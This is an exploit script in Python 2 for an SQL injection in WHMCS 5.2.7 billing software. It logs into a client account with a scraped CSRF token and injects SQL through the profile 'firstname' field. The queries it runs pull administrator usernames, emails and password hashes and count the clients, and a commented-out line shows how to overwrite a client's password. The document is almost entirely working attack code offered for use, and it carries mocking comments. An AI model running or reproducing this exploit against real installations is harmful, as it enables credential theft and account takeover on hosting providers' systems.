WHMCS 5.2.7 SQL Injection

`#!/usr/bin/env python  
# 2013/10/03 - WHMCS 5.2.7 SQL Injection  
# http://localhost.re/p/whmcs-527-vulnerability  
  
url = 'http://clients.target.com/' # wopsie dopsie  
user_email = '[email protected]' # just create a dummie account at /register.php  
user_pwd = 'hacker'  
  
import urllib, re, sys  
from urllib2 import Request, urlopen  
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"  
  
def exploit(sql):  
print "Doing stuff: %s" % sql  
r = urlopen(Request('%sclientarea.php?action=details' % url, data="token=%s&firstname=%s&lastname=1&companyname=1&email=%s&paymentmethod=none&billingcid=0&address1=1&address2=1&city=1&state=1&postcode=1&country=US&phonenumber=1&save=Save+Changes" % (user[1], 'AES_ENCRYPT(1,1), firstname=%s' % sql, user_email), headers={"User-agent": ua, "Cookie": user[0]})).read()  
return re.search(r'(id="firstname" value="(.*?)")', r).group(2)  
  
def login():  
print "Getting CSRF token"  
r = urlopen(Request('%slogin.php' % url, headers={"User-agent": ua}))  
csrf = re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r.read()).group(2)  
cookie = r.info()['set-cookie'].split(';')[0]  
print "Logging in"  
r = urlopen(Request('%sdologin.php' % url, data="username=%s&password=%s&token=%s" %(user_email, user_pwd, csrf), headers={"User-agent": ua, "Cookie": cookie})).read()  
if 'dologin.php' in r:  
sys.exit('Unable to login')  
else:  
return [cookie, re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r).group(2)]  
  
user = login()  
print exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)') # get admins  
print exploit('(SELECT * FROM (SELECT COUNT(id) FROM tblclients) as x)') # just get a count of clients  
  
# oh you want to be evil  
#exploit("'DISASTER', password=(SELECT * FROM (SELECT password FROM tblclients WHERE email='%s' LIMIT 1) as x)#" % user_email)  
  
  
`